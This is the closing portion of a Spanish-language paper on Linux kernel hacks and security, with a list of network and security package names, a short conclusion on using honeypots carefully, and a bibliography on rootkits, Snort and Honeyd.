sec sflowtool sguil-client sguil -sensor sguil-server siphon slurm sniffit snmpmon snmptt snort snortalog snortsam sonar squid -graph squidsites ssldump sussen tcpdump tcpflow tcpick tcpreen tcpreplay tcpslice tcpstat tcptrace

Kernel hacks y seguridad dnstracer driftnet dsniff echoping egressor etherape ethereal ethloop ethstatus ettercap fail2ban ffp firewalk FlowScan flow-tools fping fprobe fragroute ftester fwlogwatch gensink gnome-netstatus gnome-nettool gnu-netcat gspoof honeyd

mbrowse metadata.xml metasploit midas-nms mirmon mping mrtg mtr mwcollect nagios nagios-core nagios-imagepack nagios-nrpe nagios-nsca nagios-plugins nam nast nb nbaudit nbtscan nepenthes nessus nessus-core nessus-libraries nessus-plugins netcat

J.M.P p0f packit paketto pinger pktstat pmacct poink portmon portsentry postal prelude-nagios prelude-nessus prelude-nids prewikka quidscor rain rrdtool rtg sancp sara sarg sbd scanlogd scanssh scapy scli

tcptraceroute tcptrack thcrut thrulay tleds tptest traceproto traceroute traceroute -nanog trafd traffic-vis trafshow ttcp ttt upnpscan vnstat xnetload xprobe xtraceroute zabbix -agent zabbix -frontend zabbix -server zodiac

Conclusiones Con los honeypots ya tenemos un punto más que sumar a nuestra seguridad en la red, no obstante hay que decir que el mal uso y configuración del mismo puede provocar también algún problema si no se tiene cuidado por lo que el administrador debe ser cauto. “La puerta mejor cerrada es la que se puede dejar abierta”

Trabajo realizado y distribuido a la comunidad por: Jose Miguel Porcel G.

Kernel hacks y seguridad

J.M.P

BIBLIOGRAFÍA Y RECURSOS EN INTERNET •

kernel hacks



Programación “Linux 2.0” API de sistema y funcionamiento del núcleo Rémy Card, Eric Dumas, Franck Mével editorial “Eyrolles”.



Código fuente de “Adore-ng”



Material de las conferencias del “Hackandalus” hackmeeting.



HowTo de www.tldp.org sobre “Loadable Kernel Modules”



Kernelnewbies: http://es.kernelnewbies.org



Internet Relay Chat en irc.freenode.net



Artículo, “Rootkits: The "r00t" of Digital Evil” http://www.omninerd.com/2005/11/22/articles/43



Phrack, “Hiding Out Under Unix”.



Documento PDF, DIMVA 2004 / DFN-CERT por Andreas Bunten



Documento PDF, “Rootkit: Attacker undercover tools”por Saliman Manap



Presentación “Utilización de una función del sistema operativo por un usuario” de S.Candela (Universidad de las Palmas de Gran Canaria).



Documentación del sistema operativo Gentoo y Debian “Potato” así como el código fuente del Kernel tanto 2.2 como 2.4 y 2.6 www.kernel.org.



Análisis del rootkit “T0rn”: http://www.sans.org/y2k/t0rn.htm



Snort, NIDS



Documentación y código del sitio web oficial de Snort (www.snort.org) y ACID.



O'Reilly: “Managing Security with Snort and IDS Tools” de Kerry J.Cox y Christopher Gerg, Agosto 2004.



Artículo: http://linuca.org/body.phtml?nIdNoticia=13 “snort+mysql+acid”.



Honeyd



Documentación del propio programa y web oficial (honeyd.org).

Kernel hacks y seguridad

J.M.P

Related Documents


More Documents from ""